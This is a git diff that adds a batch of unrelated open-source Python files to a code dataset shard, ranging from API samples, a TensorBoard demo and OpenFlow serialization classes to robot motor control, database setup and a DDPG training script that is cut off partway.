(pi(int(digits)))) + + def copy_clip(self): + self.clipboard_clear() + self.clipboard_append(self.t_answer.get('1.0', 'end')) + +if __name__ == "__main__": + app = Pypi(None) + app.title('Find Pi') + app.mainloop() diff --git a/pool/shard008/Python/0076608_datalabeling_v1beta1_generated_data_labeling_service_get_evaluation_job_sync.py b/pool/shard008/Python/0076608_datalabeling_v1beta1_generated_data_labeling_service_get_evaluation_job_sync.py new file mode 100644 index 0000000000000000000000000000000000000000..f100dcf57c3cd92a0643967a53d66bf52b8bf04a --- /dev/null +++ b/pool/shard008/Python/0076608_datalabeling_v1beta1_generated_data_labeling_service_get_evaluation_job_sync.py @@ -0,0 +1,45 @@ +# -*- coding: utf-8 -*- +# Copyright 2022 Google LLC +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# Generated code. DO NOT EDIT! +# +# Snippet for GetEvaluationJob +# NOTE: This snippet has been automatically generated for illustrative purposes only. +# It may require modifications to work in your environment. + +# To install the latest published package dependency, execute the following: +# python3 -m pip install google-cloud-datalabeling + + +# [START datalabeling_v1beta1_generated_DataLabelingService_GetEvaluationJob_sync] +from google.cloud import datalabeling_v1beta1 + + +def sample_get_evaluation_job(): + # Create a client + client = datalabeling_v1beta1.DataLabelingServiceClient() + + # Initialize request argument(s) + request = datalabeling_v1beta1.GetEvaluationJobRequest( + name="name_value", + ) + + # Make the request + response = client.get_evaluation_job(request=request) + + # Handle the response + print(response) + +# [END datalabeling_v1beta1_generated_DataLabelingService_GetEvaluationJob_sync] diff --git a/pool/shard008/Python/0076611_test_0496_brute_force.py b/pool/shard008/Python/0076611_test_0496_brute_force.py new file mode 100644 index 0000000000000000000000000000000000000000..2789f2dd06d4a3ba2fe65c54f50f339bc3126dcc --- /dev/null +++ b/pool/shard008/Python/0076611_test_0496_brute_force.py @@ -0,0 +1,36 @@ +import unittest + +from typing import List + +import utils + + +# O(len(nums1) * len(nums2)) time. O(1) space. Monotone stack, hash table. +class Solution: + def nextGreaterElement(self, nums1: List[int], nums2: List[int]) -> List[int]: + result = [] + + for num in nums1: + index = nums2.index(num) + for i in range(index + 1, len(nums2)): + if nums2[i] > num: + result.append(nums2[i]) + break + else: + result.append(-1) + + return result + + +class Test(unittest.TestCase): + def test(self): + cases = utils.load_test_json(__file__).test_cases + + for case in cases: + args = str(case.args) + actual = Solution().nextGreaterElement(**case.args.__dict__) + self.assertEqual(case.expected, actual, msg=args) + + +if __name__ == '__main__': + unittest.main() diff --git a/pool/shard008/Python/0076617_hparams_minimal_demo.py b/pool/shard008/Python/0076617_hparams_minimal_demo.py new file mode 100644 index 0000000000000000000000000000000000000000..897d7f378f9c7a62ae2920ed5b4904c03fa208fd --- /dev/null +++ b/pool/shard008/Python/0076617_hparams_minimal_demo.py @@ -0,0 +1,301 @@ +# Copyright 2019 The TensorFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# ============================================================================== +"""Write sample summary data for the hparams plugin. + +Each training-session here is a temperature simulation and records temperature +related metric. See the function `run` below for more details. + +This demo is a slightly modified version of +tensorboard/plugins/scalar/scalar_demo.py. + +See also `hparams_minimal_demo.py` in this directory for a demo that +trains real MNIST models instead of using synthetic data, at the cost of +taking much longer to run. +""" + + +import hashlib +import math +import os.path +import shutil + + +# TODO(erez): This code currently does not support eager mode and can't +# be run in tensorflow 2.0. Some of the issues are that it uses +# uses tf.compart.v1.summary.FileWriter which can't be used in eager +# mode (which is the default in 2.0). Fix this when we change this +# demo to be more typical to a machine learning experiment (b/121228006). +import tensorflow.compat.v1 as tf + +from absl import flags +from absl import app +from google.protobuf import struct_pb2 + +from tensorboard.plugins.scalar import summary as scalar_summary +from tensorboard.plugins.hparams import api_pb2 +from tensorboard.plugins.hparams import summary + + +FLAGS = flags.FLAGS + + +flags.DEFINE_integer( + "num_session_groups", + 50, + "The approximate number of session groups to create.", +) +flags.DEFINE_string( + "logdir", + "/tmp/hparams_minimal_demo", + "The directory to write the summary information to.", +) +flags.DEFINE_integer( + "summary_freq", + 1, + "Summaries will be every n steps, " "where n is the value of this flag.", +) +flags.DEFINE_integer("num_steps", 100, "Number of steps per trial.") + + +# Total number of sessions is given by: +# len(TEMPERATURE_LIST)^2 * len(HEAT_COEFFICIENTS) * 2 +HEAT_COEFFICIENTS = {"water": 0.001, "air": 0.003} +TEMPERATURE_LIST = [] + + +# We can't initialize TEMPERATURE_LIST directly since the initialization +# depends on a flag and flag parsing hasn't happened yet. Instead, we use +# a function that we call in main() below. +def init_temperature_list(): + global TEMPERATURE_LIST + TEMPERATURE_LIST = [ + 270 + i * 50.0 + for i in range( + 0, int(math.sqrt(FLAGS.num_session_groups / len(HEAT_COEFFICIENTS))) + ) + ] + + +def fingerprint(string): + m = hashlib.md5() + m.update(string.encode("utf-8")) + return m.hexdigest() + + +def create_experiment_summary(): + """Returns a summary proto buffer holding this experiment.""" + + # Convert TEMPERATURE_LIST to google.protobuf.ListValue + temperature_list = struct_pb2.ListValue() + temperature_list.extend(TEMPERATURE_LIST) + materials = struct_pb2.ListValue() + materials.extend(HEAT_COEFFICIENTS.keys()) + return summary.experiment_pb( + hparam_infos=[ + api_pb2.HParamInfo( + name="initial_temperature", + display_name="Initial temperature", + type=api_pb2.DATA_TYPE_FLOAT64, + domain_discrete=temperature_list, + ), + api_pb2.HParamInfo( + name="ambient_temperature", + display_name="Ambient temperature", + type=api_pb2.DATA_TYPE_FLOAT64, + domain_discrete=temperature_list, + ), + api_pb2.HParamInfo( + name="material", + display_name="Material", + type=api_pb2.DATA_TYPE_STRING, + domain_discrete=materials, + ), + ], + metric_infos=[ + api_pb2.MetricInfo( + name=api_pb2.MetricName( + tag="temperature/current/scalar_summary" + ), + display_name="Current Temp.", + ), + api_pb2.MetricInfo( + name=api_pb2.MetricName( + tag="temperature/difference_to_ambient/scalar_summary" + ), + display_name="Difference To Ambient Temp.", + ), + api_pb2.MetricInfo( + name=api_pb2.MetricName(tag="delta/scalar_summary"), + display_name="Delta T", + ), + ], + ) + + +def run(logdir, session_id, hparams, group_name): + """Runs a temperature simulation. + + This will simulate an object at temperature `initial_temperature` + sitting at rest in a large room at temperature `ambient_temperature`. + The object has some intrinsic `heat_coefficient`, which indicates + how much thermal conductivity it has: for instance, metals have high + thermal conductivity, while the thermal conductivity of water is low. + + Over time, the object's temperature will adjust to match the + temperature of its environment. We'll track the object's temperature, + how far it is from the room's temperature, and how much it changes at + each time step. + + Arguments: + logdir: the top-level directory into which to write summary data + session_id: an id for the session. + hparams: A dictionary mapping a hyperparameter name to its value. + group_name: an id for the session group this session belongs to. + """ + tf.reset_default_graph() + tf.set_random_seed(0) + + initial_temperature = hparams["initial_temperature"] + ambient_temperature = hparams["ambient_temperature"] + heat_coefficient = HEAT_COEFFICIENTS[hparams["material"]] + session_dir = os.path.join(logdir, session_id) + writer = tf.summary.FileWriter(session_dir) + writer.add_summary( + summary.session_start_pb(hparams=hparams, group_name=group_name) + ) + writer.flush() + with tf.name_scope("temperature"): + # Create a mutable variable to hold the object's temperature, and + # create a scalar summary to track its value over time. The name of + # the summary will appear as 'temperature/current' due to the + # name-scope above. + temperature = tf.Variable( + tf.constant(initial_temperature), name="temperature" + ) + scalar_summary.op( + "current", + temperature, + display_name="Temperature", + description="The temperature of the object under " + "simulation, in Kelvins.", + ) + + # Compute how much the object's temperature differs from that of its + # environment, and track this, too: likewise, as + # 'temperature/difference_to_ambient'. + ambient_difference = temperature - ambient_temperature + scalar_summary.op( + "difference_to_ambient", + ambient_difference, + display_name="Difference to ambient temperature", + description=( + "The difference between the ambient " + "temperature and the temperature of the " + "object under simulation, in Kelvins." + ), + ) + + # Newton suggested that the rate of change of the temperature of an + # object is directly proportional to this `ambient_difference` above, + # where the proportionality constant is what we called the heat + # coefficient. But in real life, not everything is quite so clean, so + # we'll add in some noise. (The value of 50 is arbitrary, chosen to + # make the data look somewhat interesting. :-) ) + noise = 50 * tf.random.normal([]) + delta = -heat_coefficient * (ambient_difference + noise) + scalar_summary.op( + "delta", + delta, + description="The change in temperature from the previous " + "step, in Kelvins.", + ) + + # Collect all the scalars that we want to keep track of. + summ = tf.summary.merge_all() + + # Now, augment the current temperature by this delta that we computed, + # blocking the assignment on summary collection to avoid race conditions + # and ensure that the summary always reports the pre-update value. + with tf.control_dependencies([summ]): + update_step = temperature.assign_add(delta) + + sess = tf.Session() + sess.run(tf.global_variables_initializer()) + for step in range(FLAGS.num_steps): + # By asking TensorFlow to compute the update step, we force it to + # change the value of the temperature variable. We don't actually + # care about this value, so we discard it; instead, we grab the + # summary data computed along the way. + (s, _) = sess.run([summ, update_step]) + if (step % FLAGS.summary_freq) == 0: + writer.add_summary(s, global_step=step) + writer.add_summary(summary.session_end_pb(api_pb2.STATUS_SUCCESS)) + writer.close() + + +def run_all(logdir, verbose=False): + """Run simulations on a reasonable set of parameters. + + Arguments: + logdir: the directory into which to store all the runs' data + verbose: if true, print out each run's name as it begins. + """ + writer = tf.summary.FileWriter(logdir) + writer.add_summary(create_experiment_summary()) + writer.close() + session_num = 0 + num_sessions = ( + len(TEMPERATURE_LIST) + * len(TEMPERATURE_LIST) + * len(HEAT_COEFFICIENTS) + * 2 + ) + for initial_temperature in TEMPERATURE_LIST: + for ambient_temperature in TEMPERATURE_LIST: + for material in HEAT_COEFFICIENTS: + hparams = { + "initial_temperature": initial_temperature, + "ambient_temperature": ambient_temperature, + "material": material, + } + hparam_str = str(hparams) + group_name = fingerprint(hparam_str) + for repeat_idx in range(2): + session_id = str(session_num) + if verbose: + print( + "--- Running training session %d/%d" + % (session_num + 1, num_sessions) + ) + print(hparam_str) + print("--- repeat #: %d" % (repeat_idx + 1)) + run(logdir, session_id, hparams, group_name) + session_num += 1 + + +def main(unused_argv): + if tf.executing_eagerly(): + print("Sorry, this demo currently can't be run in eager mode.") + return + + init_temperature_list() + shutil.rmtree(FLAGS.logdir, ignore_errors=True) + print("Saving output to %s." % FLAGS.logdir) + run_all(FLAGS.logdir, verbose=True) + print("Done. Output saved to %s." % FLAGS.logdir) + + +if __name__ == "__main__": + app.run(main) diff --git a/pool/shard008/Python/0076618_bundle_prop.py b/pool/shard008/Python/0076618_bundle_prop.py new file mode 100644 index 0000000000000000000000000000000000000000..0d6c2c1aeeba1ff5af06f3f0b6688de57954d78b --- /dev/null +++ b/pool/shard008/Python/0076618_bundle_prop.py @@ -0,0 +1,126 @@ +# Copyright (c) 2008 The Board of Trustees of The Leland Stanford Junior University +# Copyright (c) 2011, 2012 Open Networking Foundation +# Copyright (c) 2012, 2013 Big Switch Networks, Inc. +# See the file LICENSE.pyloxi which should have been included in the source distribution + +# Automatically generated by LOXI from template module.py +# Do not modify + +import struct +import loxi +from . import util +import functools +import loxi.generic_util + +import sys +ofp = sys.modules['loxi.of14'] + +class bundle_prop(loxi.OFObject): + subtypes = {} + + + def __init__(self, type=None): + if type != None: + self.type = type + else: + self.type = 0 + return + + def pack(self): + packed = [] + packed.append(struct.pack("!H", self.type)) + packed.append(struct.pack("!H", 0)) # placeholder for length at index 1 + length = sum([len(x) for x in packed]) + packed[1] = struct.pack("!H", length) + return functools.reduce(lambda x,y: x+y, packed) + + @staticmethod + def unpack(reader): + subtype, = reader.peek('!H', 0) + subclass = bundle_prop.subtypes.get(subtype) + if subclass: + return subclass.unpack(reader) + + obj = bundle_prop() + obj.type = reader.read("!H")[0] + _length = reader.read("!H")[0] + orig_reader = reader + reader = orig_reader.slice(_length, 4) + return obj + + def __eq__(self, other): + if type(self) != type(other): return False + if self.type != other.type: return False + return True + + def pretty_print(self, q): + q.text("bundle_prop {") + with q.group(): + with q.indent(2): + q.breakable() + q.breakable() + q.text('}') + + +class experimenter(bundle_prop): + subtypes = {} + + type = 65535 + + def __init__(self, experimenter=None, exp_type=None): + if experimenter != None: + self.experimenter = experimenter + else: + self.experimenter = 0 + if exp_type != None: + self.exp_type = exp_type + else: + self.exp_type = 0 + return + + def pack(self): + packed = [] + packed.append(struct.pack("!H", self.type)) + packed.append(struct.pack("!H", 0)) # placeholder for length at index 1 + packed.append(struct.pack("!L", self.experimenter)) + packed.append(struct.pack("!L", self.exp_type)) + length = sum([len(x) for x in packed]) + packed[1] = struct.pack("!H", length) + return functools.reduce(lambda x,y: x+y, packed) + + @staticmethod + def unpack(reader): + subtype, = reader.peek('!L', 4) + subclass = experimenter.subtypes.get(subtype) + if subclass: + return subclass.unpack(reader) + + obj = experimenter() + _type = reader.read("!H")[0] + assert(_type == 65535) + _length = reader.read("!H")[0] + orig_reader = reader + reader = orig_reader.slice(_length, 4) + obj.experimenter = reader.read("!L")[0] + obj.exp_type = reader.read("!L")[0] + return obj + + def __eq__(self, other): + if type(self) != type(other): return False + if self.experimenter != other.experimenter: return False + if self.exp_type != other.exp_type: return False + return True + + def pretty_print(self, q): + q.text("experimenter {") + with q.group(): + with q.indent(2): + q.breakable() + q.text("exp_type = "); + q.text("%#x" % self.exp_type) + q.breakable() + q.text('}') + +bundle_prop.subtypes[65535] = experimenter + + diff --git a/pool/shard008/Python/0076619_package.py b/pool/shard008/Python/0076619_package.py new file mode 100644 index 0000000000000000000000000000000000000000..98e07478c786f08e9ad06fd1b8fdaeea932508e2 --- /dev/null +++ b/pool/shard008/Python/0076619_package.py @@ -0,0 +1,52 @@ +############################################################################## +# Copyright (c) 2013-2018, Lawrence Livermore National Security, LLC. +# Produced at the Lawrence Livermore National Laboratory. +# +# This file is part of Spack. +# Created by Todd Gamblin, tgamblin@llnl.gov, All rights reserved. +# LLNL-CODE-647188 +# +# For details, see https://github.com/spack/spack +# Please also see the NOTICE and LICENSE files for our notice and the LGPL. +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU Lesser General Public License (as +# published by the Free Software Foundation) version 2.1, February 1999. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the IMPLIED WARRANTY OF +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the terms and +# conditions of the GNU Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA +############################################################################## +from spack import * + + +class Sambamba(Package): + """Sambamba: process your BAM data faster (bioinformatics)""" + + homepage = "http://lomereiter.github.io/sambamba/" + + version('0.6.6', git='https://github.com/lomereiter/sambamba.git', + tag='v0.6.6', submodules=True) + + depends_on('ldc~shared', type=('build', 'link')) + depends_on('python', type='build') + + resource( + name='undeaD', + git='https://github.com/dlang/undeaD.git', + tag='v1.0.7', + ) + + patch('Makefile.patch') + parallel = False + + def install(self, spec, prefix): + make('sambamba-ldmd2-64') + mkdirp(prefix.bin) + for filename in ('build/sambamba', 'build/sambamba.debug'): + install(filename, prefix.bin) diff --git a/pool/shard008/Python/0076620_wcc_siteamp_cfg.py b/pool/shard008/Python/0076620_wcc_siteamp_cfg.py new file mode 100644 index 0000000000000000000000000000000000000000..07c656aad3cc67fc37a99bc2e085da3263e433fc --- /dev/null +++ b/pool/shard008/Python/0076620_wcc_siteamp_cfg.py @@ -0,0 +1,74 @@ +#!/usr/bin/env python +""" +Copyright 2010-2018 University Of Southern California + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. + +This config class will encapsulate the configuration parameters +needed to run a simulation. Programs can derive specific +configuration sets from this base class to suppor their own programs. +""" +from __future__ import division, print_function + +# Import Python modules +import os +import sys + +# Import Broadband modules +import velocity_models + +class WccSiteampCfg(object): + """ + Define the configuration parameters for the Jbrun program + """ + def __init__(self, vmodel_name, method): + # self.SITEAMP_MODEL3D = "cb2014" + self.SITEAMP_MODEL = "bssa2014" + self.FILTLIST = "filtmatchlist1" + self.GEN_ROCK_VS = 865 + self.VREF_MAX = 1100 + self.FMIN = 0.05 + self.FMIDBOT = 0.1 + self.FLOWCAP = 0.0 + self.FMAX = 50.0 + self.FHIGHTOP = 20.0 + self.COMPS = ["000", "090", "ver"] + + vmodel_obj = velocity_models.get_velocity_model_by_name(vmodel_name) + if vmodel_obj is None: + raise IndexError("Cannot find velocity model: %s" % + (vmodel_name)) + + if method.lower() == "ucsb": + vmodel_params = vmodel_obj.get_codebase_params('ucsb') + elif method.lower() == "exsim": + vmodel_params = vmodel_obj.get_codebase_params('exsim') + elif method.lower() == "sdsu": + vmodel_params = vmodel_obj.get_codebase_params('sdsu') + else: + # For now... + vmodel_params = vmodel_obj.get_codebase_params('gp') + + # Read reference velocities for LF and HF components, use defaults + # values if not found so that the code will still work without GP GFs + if 'LF_VREF' in vmodel_params: + self.LF_VREF = int(vmodel_params['LF_VREF']) + else: + self.LF_VREF = self.GEN_ROCK_VS + if 'HF_VREF' in vmodel_params: + self.HF_VREF = int(vmodel_params['HF_VREF']) + else: + self.HF_VREF = self.GEN_ROCK_VS + +if __name__ == "__main__": + print("Test Config Class: %s" % os.path.basename(sys.argv[0])) diff --git a/pool/shard008/Python/0076624_recipe-578199.py b/pool/shard008/Python/0076624_recipe-578199.py new file mode 100644 index 0000000000000000000000000000000000000000..90bd21b5536e00312a7a260b10a825294cd63b5b --- /dev/null +++ b/pool/shard008/Python/0076624_recipe-578199.py @@ -0,0 +1,36 @@ +import os +import sys + +def main(): + try: + source, destination = sys.argv[1:] + assert os.path.isdir(source), ' is not a directory' + if os.path.exists(destination): + assert os.path.isdir(destination), \ + ' is not a directory' + else: + os.makedirs(destination) + copy(source, destination) + except Exception, error: + program = 'USAGE: %s ' % \ + os.path.basename(sys.argv[0]) + problem = 'ERROR: %s' % error + divider = '=' * max(len(program), len(problem)) + sys.stdout.write('\n%s\n%s\n%s\n' % (program, divider, problem)) + +def copy(source, destination): + for name in os.listdir(source): + source_name = os.path.join(source, name) + destination_name = os.path.join(destination, name) + try: + if os.path.isdir(source_name): + os.mkdir(destination_name) + copy(source_name, destination_name) + elif os.path.isfile(source_name): + file(destination_name, 'wb').write( + file(source_name, 'rb').read()) + except: + sys.stderr.write('\n%s\n%s\n' % (source_name, destination_name)) + +if __name__ == '__main__': + main() diff --git a/pool/shard008/Python/0076626_create_db.py b/pool/shard008/Python/0076626_create_db.py new file mode 100644 index 0000000000000000000000000000000000000000..595830a0d25c13bf8b5a54f6737456bb372aa302 --- /dev/null +++ b/pool/shard008/Python/0076626_create_db.py @@ -0,0 +1,89 @@ +import sys +import yaml +import argparse + +import rethinkdb as r +from rethinkdb.errors import RqlDriverError, RqlRuntimeError +import socket + +def createTable(dbname, tablename, conn): + ''' Create a rethinkDB table ''' + print("Creating table: %s") % tablename + try: + r.db(dbname).table_create(tablename).run(conn) + except (RqlDriverError, RqlRuntimeError, socket.error) as e: + print("RethinkDB Error: %s") % e.message + print("Table %s not created") % tablename + + + +parser = argparse.ArgumentParser(description='Create Runbook database.') +parser.add_argument('conffile') +parser.add_argument('--travis', action='store_true') + +args = parser.parse_args() + +# Open Config File and Parse Config Data +configfile = args.conffile + +with open(configfile, "r") as cfh: + config = yaml.safe_load(cfh) + + + +# Establish Connection +host = config['rethink_host'] +port = config['rethink_port'] +database = config['rethink_db'] +auth_key = config['rethink_authkey'] +try: + if auth_key and args.travis == False: + conn = r.connect(host, port, auth_key=auth_key).repl() + else: + conn = r.connect(host, port).repl() +except (RqlDriverError, RqlRuntimeError, socket.error) as e: + print("RethinkDB Error on Connection: %s") % e.message + sys.exit(1) + +if args.travis == True: + print("Setting RethinkDB auth key") + try: + r.db('rethinkdb').table('cluster_config').get('auth').update({'auth_key' : auth_key}).run(conn) + except (RqlDriverError, RqlRuntimeError, socket.error) as e: + print("RethinkDB Error setting auth key: %s") % e.message + +result = r.db_list().run(conn) +if database in result: + print("Database %s already exists exiting") % database + sys.exit(0) + +r.db_create(database).run(conn) +tables = [ + 'monitors', + 'reactions', + 'users', + 'history', + 'events', + 'subscription_history', + 'dc1queue', + 'dc2queue' +] +for name in tables: + createTable(database, name, conn) +print "Database created!" + + +####################### +### Database Tables ### +####################### + +""" +monitors - Stores monitors +reactions - Stores reactions +users - Stores user data +history - Stores historical tracking for monitors and reactions +events - Stores unique events for monitors +subscription_history - Stores subscription history for tracking signups +dc1queue - Queue for monitors and reactions in datacenter 1 +dc2queue - Queue for monitors and reactions in datacenter 2 +""" diff --git a/pool/shard008/Python/0076637_sebulba.py b/pool/shard008/Python/0076637_sebulba.py new file mode 100644 index 0000000000000000000000000000000000000000..c220162ff073f7375fbafcb148af45ef501633d4 --- /dev/null +++ b/pool/shard008/Python/0076637_sebulba.py @@ -0,0 +1,119 @@ +from Adafruit_MotorHAT import Adafruit_MotorHAT, Adafruit_DCMotor +import time +import atexit + +""" + + Sebulba's Podracer + Motor layout + + 1 O---*---O 2 + | + [Lights] + | + | + [Pi2] + | + 3 O---+---O 4 + + + +Usage: + from sebulba import * + racer_move('FORWARD', 3) + +""" + + +# create a default object, no changes to I2C address or frequency +mh = Adafruit_MotorHAT(addr=0x60) + +# recommended for auto-disabling motors on shutdown! +def turnOffMotors(): + for motor in range(1, 5): + mh.getMotor(motor).run(Adafruit_MotorHAT.RELEASE) + +# hook SIGINT and stop all motors upon exit +atexit.register(turnOffMotors) + +# SEBULBA +def racer_move(direction, distance): + speed = 160 + + motor1 = mh.getMotor(1) + motor2 = mh.getMotor(2) + motor3 = mh.getMotor(3) + motor4 = mh.getMotor(4) + + for i in range(10, speed, 8): + motor1.setSpeed(i) + motor2.setSpeed(i) + motor3.setSpeed(i) + motor4.setSpeed(i) + if direction == 'FORWARD': + for m in range(1, 5): + mh.getMotor(m).run(Adafruit_MotorHAT.FORWARD) + if direction == 'BACKWARD': + for m in range(1, 5): + mh.getMotor(m).run(Adafruit_MotorHAT.BACKWARD) + + time.sleep(distance) + + for i in reversed(range(0, speed, 8)): + motor1.setSpeed(i) + motor2.setSpeed(i) + motor3.setSpeed(i) + motor4.setSpeed(i) + if direction == 'FORWARD': + for m in range(1, 5): + mh.getMotor(m).run(Adafruit_MotorHAT.FORWARD) + for m in range(1, 5): + mh.getMotor(m).run(Adafruit_MotorHAT.RELEASE) + if direction == 'BACKWARD': + for m in range(1, 5): + mh.getMotor(m).run(Adafruit_MotorHAT.BACKWARD) + for m in range(1, 5): + mh.getMotor(m).run(Adafruit_MotorHAT.RELEASE) + + +def racer_turn(direction, duration): + motor1 = mh.getMotor(1) + motor2 = mh.getMotor(2) + motor3 = mh.getMotor(3) + motor4 = mh.getMotor(4) + + if direction == 'RIGHT': + motor2.setSpeed(55) + motor4.setSpeed(90) + motor1.setSpeed(230) + motor3.setSpeed(170) + # Floor it! + motor2.run(Adafruit_MotorHAT.BACKWARD) + motor4.run(Adafruit_MotorHAT.FORWARD) + motor1.run(Adafruit_MotorHAT.FORWARD) + motor3.run(Adafruit_MotorHAT.FORWARD) + # Turn for (duration) seconds + time.sleep(duration) + # Brake! + motor1.run(Adafruit_MotorHAT.RELEASE) + motor2.run(Adafruit_MotorHAT.RELEASE) + motor3.run(Adafruit_MotorHAT.RELEASE) + motor4.run(Adafruit_MotorHAT.RELEASE) + + if direction == 'LEFT': + motor2.setSpeed(170) + motor4.setSpeed(230) + motor1.setSpeed(90) + motor3.setSpeed(30) + # Floor it! + motor2.run(Adafruit_MotorHAT.FORWARD) + motor4.run(Adafruit_MotorHAT.FORWARD) + motor1.run(Adafruit_MotorHAT.BACKWARD) + motor3.run(Adafruit_MotorHAT.FORWARD) + # Turn for (duration) seconds + time.sleep(duration) + # Brake! + motor1.run(Adafruit_MotorHAT.RELEASE) + motor2.run(Adafruit_MotorHAT.RELEASE) + motor3.run(Adafruit_MotorHAT.RELEASE) + motor4.run(Adafruit_MotorHAT.RELEASE) diff --git a/pool/shard008/Python/0076641_test_cython_templating.py b/pool/shard008/Python/0076641_test_cython_templating.py new file mode 100644 index 0000000000000000000000000000000000000000..572d1db523cf883d95f7fee64bf7a5dbf627c8bf --- /dev/null +++ b/pool/shard008/Python/0076641_test_cython_templating.py @@ -0,0 +1,20 @@ +import pathlib +import pytest +import sklearn + + +def test_files_generated_by_templates_are_git_ignored(): + """Check the consistence of the files generated from template files.""" + gitignore_file = pathlib.Path(sklearn.__file__).parent.parent / ".gitignore" + if not gitignore_file.exists(): + pytest.skip("Tests are not run from the source folder") + + base_dir = pathlib.Path(sklearn.__file__).parent + ignored_files = open(gitignore_file, "r").readlines() + ignored_files = list(map(lambda line: line.strip("\n"), ignored_files)) + + for filename in base_dir.glob("**/*.tp"): + filename = filename.relative_to(base_dir.parent) + # From "path/to/template.p??.tp" to "path/to/template.p??" + filename_wo_tempita_suffix = filename.with_suffix("") + assert str(filename_wo_tempita_suffix) in ignored_files diff --git a/pool/shard008/Python/0076647_0005_auto_20170622_1416.py b/pool/shard008/Python/0076647_0005_auto_20170622_1416.py new file mode 100644 index 0000000000000000000000000000000000000000..a311c2f67bff70e53c8f6933456c41dd9a12f2d4 --- /dev/null +++ b/pool/shard008/Python/0076647_0005_auto_20170622_1416.py @@ -0,0 +1,26 @@ +# -*- coding: utf-8 -*- +# Generated by Django 1.11.2 on 2017-06-22 14:16 +from __future__ import unicode_literals + +from django.db import migrations, models +import django.db.models.deletion + + +class Migration(migrations.Migration): + + dependencies = [ + ('census', '0004_auto_20170622_1406'), + ] + + operations = [ + migrations.AlterField( + model_name='transaction', + name='buyer', + field=models.ForeignKey(max_length=100, on_delete=django.db.models.deletion.CASCADE, related_name='entity_buyer', to='census.Entity'), + ), + migrations.AlterField( + model_name='transaction', + name='seller', + field=models.ForeignKey(max_length=100, on_delete=django.db.models.deletion.CASCADE, related_name='entity_seller', to='census.Entity'), + ), + ] diff --git a/pool/shard008/Python/0076648_alerts.py b/pool/shard008/Python/0076648_alerts.py new file mode 100644 index 0000000000000000000000000000000000000000..071152998a63ebbd613d422e72bef03054f35b1e --- /dev/null +++ b/pool/shard008/Python/0076648_alerts.py @@ -0,0 +1,32 @@ +''' +Created on Mar 14, 2014 + +@author: Hugo Lima (https://github.com/hmiguellima) +''' + +import os, sys, logging +from json import loads +from models.device import Device +from models.asset import Asset +from config import settings + +log = logging.getLogger() + +from base import BaseController + +class AlertsController(BaseController): + def __init__(self): + super(AlertsController, self).__init__() + + def list_alerts(self, mac_address): + return self.kv.list_alerts(mac_address) + + def pop_alerts(self, mac_address): + return self.kv.pop_alerts(mac_address) + + def push_alert(self, mac_address_list, uri): + for mac_address in mac_address_list: + self.kv.push_alert(mac_address, uri) + + def list_templates(self): + return settings.admin.alert_templates \ No newline at end of file diff --git a/pool/shard008/Python/0076651_main__.py b/pool/shard008/Python/0076651_main__.py new file mode 100644 index 0000000000000000000000000000000000000000..c9a61fe2b703072f8d516200eba2257570fcdefb --- /dev/null +++ b/pool/shard008/Python/0076651_main__.py @@ -0,0 +1,129 @@ +from __future__ import print_function +from collections import deque + +from rl.pg_ddpg import DeepDeterministicPolicyGradient +import tensorflow as tf +import numpy as np +import gym +import rlg + +# env_name = 'InvertedPendulum-v1' +# env_name = 'InvertedDoublePendulum-v1' +env_name = 'PegInsertion-v0' +# env = gym.make(env_name) +env = rlg.make(env_name) + +sess = tf.Session() +optimizer = tf.train.AdamOptimizer(learning_rate=0.001) +writer = tf.summary.FileWriter("/tmp/{}-experiment-1".format(env_name)) + +state_dim = env.observation_space.shape[0] +action_dim = env.action_space.shape[0] + +# DDPG actor and critic architecture +# Continuous control with deep reinforcement learning +# Timothy P. Lillicrap, et al., 2015 + +def actor_network(states): + h1_dim = 400 + h2_dim = 300 + + # define policy neural network + W1 = tf.get_variable("W1", [state_dim, h1_dim], + initializer=tf.contrib.layers.xavier_initializer()) + b1 = tf.get_variable("b1", [h1_dim], + initializer=tf.constant_initializer(0)) + h1 = tf.nn.relu(tf.matmul(states, W1) + b1) + + W2 = tf.get_variable("W2", [h1_dim, h2_dim], + initializer=tf.contrib.layers.xavier_initializer()) + b2 = tf.get_variable("b2", [h2_dim], + initializer=tf.constant_initializer(0)) + h2 = tf.nn.relu(tf.matmul(h1, W2) + b2) + + # use tanh to bound the action + W3 = tf.get_variable("W3", [h2_dim, action_dim], + initializer=tf.contrib.layers.xavier_initializer()) + b3 = tf.get_variable("b3", [action_dim], + initializer=tf.constant_initializer(0)) + + # we assume actions range from [-1, 1] + # you can scale action outputs with any constant here + a = tf.nn.tanh(tf.matmul(h2, W3) + b3) + return a + +def critic_network(states, action): + h1_dim = 400 + h2_dim = 300 + + # define policy neural network + W1 = tf.get_variable("W1", [state_dim, h1_dim], + initializer=tf.contrib.layers.xavier_initializer()) + b1 = tf.get_variable("b1", [h1_dim], + initializer=tf.constant_initializer(0)) + h1 = tf.nn.relu(tf.matmul(states, W1) + b1) + # skip action from the first layer + h1_concat = tf.concat(axis=1, values=[h1, action]) + + W2 = tf.get_variable("W2", [h1_dim + action_dim, h2_dim], + initializer=tf.contrib.layers.xavier_initializer()) + b2 = 